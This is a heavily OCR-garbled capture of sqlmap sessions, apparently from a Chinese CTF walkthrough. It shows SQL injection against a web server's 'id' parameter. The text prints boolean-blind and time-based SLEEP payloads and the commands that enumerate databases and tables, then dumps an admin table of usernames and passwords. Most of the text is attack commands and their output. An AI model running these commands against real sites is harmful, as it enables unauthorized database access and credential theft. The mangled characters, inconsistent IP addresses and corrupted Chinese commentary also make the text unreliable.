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C:“Users*Administrator~ApplatasLocal“Programs “Python“Python38-32sqglmap*sqlmappr
oject—sglmap—dccc83?>sglmap. py

{1.5.5.6Hdev>

http://sglmap.oryg

Uzage: sglmap.py [options]

sglmap.py: error: missing a mandatory option ¢(—d, —u, -1, —m, —», —g,. ¢, ——uwiza
rd, ——shell., ——update, ——purge, ——list—tampers or —dependencies). Use —h for ha
zic and —hh for advanced help
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sllzerssAdministrator™AppDatasLocal “Programs “\Python“\Python38-32ssqglmap*sglmappw
pject—sglmap—dcccB3I?rsglmap.py —u "http:/-57.63.200.72:-80A37?id=1" —bhanner

{1.5.5.6Hdev>

_1i http://sglmap.oryg

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent iz illegal. It iz the end user's responsibility to ohey all applicahble
local. state and federal laws. Developers asszsume no liabhility and are not respon

ible for any misuse or damage caused by this progran

[#] starting B 18:54:24 ~2821-05-268~

L 11 1 resuming back-end DBME ‘mysgl’
L 1 [INFO0] testing connection to the target URL
glmap resumed the following injection point<s) from stored session:
arameter: id (GET>
Type: boolean—-haszed hlind
Title: AND hoolean-hased blind — WHERE or HAVING clause
Payload: id=1 AND 2984=9984

Type: time-haszed hlind
Title: MyBQL >= 5.8.12 AND time-bhased bhlind {query SLEEF>
Payload: id=1 AND <{SELECT 2868 FROM (SELECT{SLEEFP{5)>>>5j55)>

1 [INFO] the back-end DBMS is MySQL
11 1 fetching banner
11 1 running in a single—thread mode. Flease consider usage of o
ption *——threads’ for faster data retrieval
L 1L 1 retrieved: 5.5.53
web zerver operating system: Windows
web application technoleogy: PHP 5.4.45%, Apache 2_4_23
lhack—end DBMS: HySQL >= 5.8.12
hbanner: *5.5.53"
11 1 fetched data logged to text files under 'C:Users™Adninistrato
-~ AppData“Local*sglmap*output~L? . 63.2608_ 79"

i}

[#] ending @ 18:54:38 -2621-B5-28~

hitps://blog.c:

MINFREE] T bannerfs B, H_EAT%MysqlffR 25 45.5.53
FHRI B)id S H0H 24> sqiE N IR T

boolean-based blind: #i/REEN

time-based blind: Z&F B [B] ZEBEN
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sllzerssAdministrator™AppDatasLocal “Programs S\Pythons\Python38-32\sqlmapssqlmappr
pject—sglmap—dcccB3?rsgqlmap.py —u "http:/-57.63.200.72:80A3?id=1" ——dhs

{1.5.5.6Hdev>

H http://sglmap.oryg

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutua
consent is illegal. It is the end user’s responsihility to obey all applicable
local. state and federal laws. Developers assume no liahility and are not respon

ihle for any misuse or damage caused by this program

[*] starting @ 11:868:28 ~2821-85-28~

[ 1L 1 vesuming back-end DBMS ‘mysql’
[ 1 [INFO1 testing connection to the target URL
glmap resumed the following injection point{s)» from stored session:
arameter: id (GET>
Type: boolean—-haszed hlind
Title: AND hoolean-hased blind — WHERE or HAVING clause
Payload: id=1 AND 2?98B4=9984

Type: time-haszed hlind
Title: MyBQL >= 5.8.12 AND time-bhased bhlind {query SLEEF>
Payload: id=1 AND <{SELECT 2868 FROM (SELECT{SLEEFP{5)>>>5j55)>

1 [INFO] the back-end DBMS is MySQL
web zerver operating system: Windows
web application technoleogy: PHP 5.4.45%, Apache 2_4_23

fetching database names
fetching number of databases
resumned: 3

resumed: information_schema

available databases [31:
[#]1 information_schema
[#]1 maoshe

[#] test

XETUER, F3INEIEE, 45 Rinformation_schemaflimaoshe A K test

2. #KHinformation_schemafimaoshe bA Ktestfi#E E FHIFTA R, BERMNEENE L.
H Finformation_schemaiX MR EHER AL, SFBUETRE. HEZEsqmapXNREE (XNMBRAKE, ERERE)

sllzerssAdministrator™AppDatasLocal “Programs “\Python“\Python38-32ssqglmap*sglmappw
pject—sglmap—dcccB3I?rsglmap.py —u "http:/»59.63.200.72:80A3-?id=1" —-D informatio
_schema ——tables

BEWIMKL. o . o FIBET—A

Database: information_schema
[48 tables]

CHARACTER_SETS

COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS

COLUMN_PRIVILEGES
ENGINES

EUVENTS

FILES
GLOBAL_STATUS
GLOBAL_UARIABLES
INNODB_BUFFER_PAGE




INNODB_BUFFER_FOOL_STATS
INNODB_CHP
INNODB_CMPMEM
INNODB_CMPMEM_RESET
INNODB_CHMP_RESET
INNODB_LOCKS
INNODB_LOCK_MAITS
INNODB_TRH
KEY_COLUMN_USAGE
PARAMETERS
PARTITIONS

PLUGINS

PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES

SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_UVARIABLES
STATISTICS

TABLES

TABLESPACES
TABLE_COMSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
UIEUS

2 & maoshe [t 53R &

C:slUzerz Administrator~Applata“Local“Programs “Fython “Python38-32 sglnap sglmappr
oject—sglmap—dcccB3I?rsgqlmap.py —u "http:--59.63.208_.79:8883.-?id=1" -D maoshe —t
abhles

KIT adminX M 7B, HFETHBT T

Datahase: maoshe
[4 tabhle=s]

3. FKEWadmin FEKIFTE FB&

C:~lUsers*“Administrator~AppDatasLocal“Programs“Python“Python38-32 sglmap*sglmappr
oject—sglmap—decccl83?rsglmap.py —u "http:=/7/5?.63.200.77:8083-7id=1" -D maoshe -T
ladmin —columns

{1.5.5.6%dev>

http:=/ssqglmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without priocr mutual
consent is illegal. It is the end uwser's responzibility to ohey all applicahble

local. state and federal laws. Developers assume no liability and are not respon
l=ible for any misuse or damage cauwused by this program

[#] starting [ 11:13:82 ~/2021-A5-28~

L 11 1 resuming back—end DEMS ’‘mysgl’
L 1 [INFO] testing connection to the target URL
glmap resumed the following injection point<s} from stored session:
Parameter: id (GET>
Type: hoolean—ha




Payload: id=1 AND 2784-9984

Type: time—based blind
Title: MyEQL >= 5.8.12 AND time—based blind <{query SLEEF>
Payload: id=1 AND {(SELECT 2868 FROM (SELECT<{SLEEP{S5>>>EjEE>

1 [INFO1
webh server operating system: Windows
webh application technology: Apache 2.4.23,. PFHP 5.4_4%
hack—end DBMS: MySQL >= 5.8.12
11 1 fetching columns for tabhle ‘admin’ in database 'maoshe’
resumed: 3
resumed: Id
resumed: int¢1iid)
resumed: username
resumed: varchar(il)
resumed: password
resumed: varchar(il)

Database: maoshe
Table: admin

[3 columnsz]
P,

Co lumn

varchar{il)
varchar{il)
_____________ +

password
username
P,

$ mm omm omm g omm

1% B F BlpasswordfllusernameHt B0 T, Biflag?e M RE\F



4. FKEadminFE HiE

slserssAdministratorsApplatasLocalsPrograms \Python~Python38-32 sglmap*sglmappr
pject—sglmap—dcccB83?r»sglmap.py —u “"http:=/-/59.63.200.77:8083/7id=1" -D maoshe -T
admin ——dump

{1.5.5.6%dev>

... _ http:=/ssqglmap.oryg

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsihility to obey all applicable
local, state and federal laws. Developers assume no liabhility and are not respon

ihle for any misuse or damage caused by this program

[*] starting @ 11:15:41 ~2821-85-28/

L 1L 1 resuming back—end DBMS ‘mysqgl’
L 1 [INFO1 testing connection to the target URL
glmap resumed the following injection point¢s> from stored session:
arameter: id {(GEI>
Type: hoolean—based blind
Title: AND boolean—hased hlind — WHERE or HAUING clause
Payload: id=1 AND 9984=9984

Type: time—based blind

Title: MyEQL >= 5.8.12 AND time—based blind <{query SLEEF>
Payload: id=1 AND {(SELECT 2868 FROM (SELECT<{SLEEP{S5>>>EjEE)>

1 [INFO]1 the back—-end DBMS is MySQL
peb server operating system: Windows
peb application technology: PHP 5.4_45%. Apache 2.4.23
ack—end DBMS: MySQL >= 5.8.12
11 1 fetching columns for tabhle ‘admin’ in database 'maoshe’
resumed: 3
resumed: Id
resumed: username
resumed: password
fetching entries for table 'admin’ in databasze ‘maoszhe’
fetching number of entries for tahlefﬁﬂﬁﬂiﬁﬂﬂéﬂﬁﬁiﬁﬁhﬂ

Database: maoshe

Table: admin

[2 entries]

—————————— +

username

hellohack
zkagbanban

$ mm omm o omm

FiX BRATHIKEE] T adminffipassword, ik Zflag.
RE E B I g3 flag, BE, EXRT .
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